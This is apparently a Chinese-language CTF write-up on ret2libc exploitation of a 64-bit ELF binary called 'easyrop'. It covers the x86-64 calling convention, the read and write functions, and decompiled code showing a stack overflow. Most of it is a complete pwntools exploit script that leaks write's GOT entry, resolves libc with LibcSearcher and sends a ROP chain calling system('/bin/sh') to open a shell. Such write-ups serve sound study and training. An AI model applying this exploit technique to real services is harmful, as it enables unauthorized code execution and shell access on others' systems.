64位elf的ret2libc

不同点

主要是32位的参数丢栈上,而64位的函数前6个参数丢寄存器上
x86-64环境下非微软操作系统的前六个整型参数通过寄存器传递,按顺序为:rdi,rsi,rdx,rcx,r8,r9.同时XMM0到XMM7用来放置浮点变元,通过栈传递参数时所有的数据大小都向8的倍数对齐.

再回味一下这两个函数
ps:read函数

1
ssize_t read(int fd, void *buf, size_t count);

函数的参数【int fd】:这个是文件指针
函数的参数【void *buf】:读上来的数据保存在缓冲区buf中,同时文件的当前读写位置向后移
函数的参数【size_t count】:是请求读取的字节数。若参数count 为0, 则read()不会有作用并返回0. 返回值为实际读取到的字节数, 如果返回0
read()会把参数fd 所指的文件传送count个字节到buf指针所指的内存中

write函数

1
ssize_t write(int fd,const void *buf,size_t nbytes) 

把缓冲区(buf)的前nbytes个字节写入与文件描述符(fildes)关联的文件。
write返回实际写入的字节数,如果文件描述符有错误或者底层设备的驱动程序对数据长度比
较敏感,表示在write调用中出现了错误,返回值可能会小于nbytes。如果函数返回0,表示
未写入任何数据;返回-1表示write调用中出现了错误,错误代码保存在全局变量errno中
fd为1的时候是标准输出流
puts直接传地址,gets和read函数基本差不多

一道题目easyrop

ida打开
主函数

1
2
3
4
5
6
7
8
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char buf; // [rsp+0h] [rbp-10h]

write(1, "easy_rop", 8uLL);
read(0, &buf, 0x64uLL);
return 0LL;
}

img

确定思想为通过write拿到libc地址,调用system-getflag

计算偏移为0x10+0x8=0x18

一步步算下去即可

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# -*- coding: utf-8 -*- 
from pwn import *
from LibcSearcher import *
context.terminal=['gnome-terminal','-x','sh','-c']

sh=process("./pwn")
#sh=remote('49.235.243.206','8004')
ret2libc3=ELF("./pwn")
#pwnlib.gdb.attach(sh,'b *0x40070F')

main_addr=0x4006CD
pop_rsi_r15_addr=0x400771
pop_rdi_addr=0x400773
print("main地址:0x"+str(main_addr))
#print(ret2libc3.got)
#rdi放1 rsi放got表中write地址

payload='f'*0x18+p64(pop_rdi_addr)+p64(1) +p64(pop_rsi_r15_addr)+p64(ret2libc3.got['write'])+p64(ret2libc3.got['write'])+p64(ret2libc3.plt['write'])+p64(main_addr)
sh.recvuntil('easy_rop')
sh.sendline(payload)

write_libc_addr=u64(sh.recv(8))
print("write的libc地址:"+str(hex(write_libc_addr)))

libc=LibcSearcher('write',write_libc_addr)

libcbase=write_libc_addr-libc.dump('write')
print("libc基址:"+str(hex(libcbase)))

system_addr=libcbase+libc.dump('system')
bin_sh=libcbase+libc.dump('str_bin_sh')
print("system函数地址:"+str(hex(system_addr)))
print("bin_sh地址:"+str(hex(bin_sh)))


payload='f'*0x18+p64(pop_rdi_addr)+p64(bin_sh)+p64(system_addr)
sh.sendline(payload)
sh.interactive()

img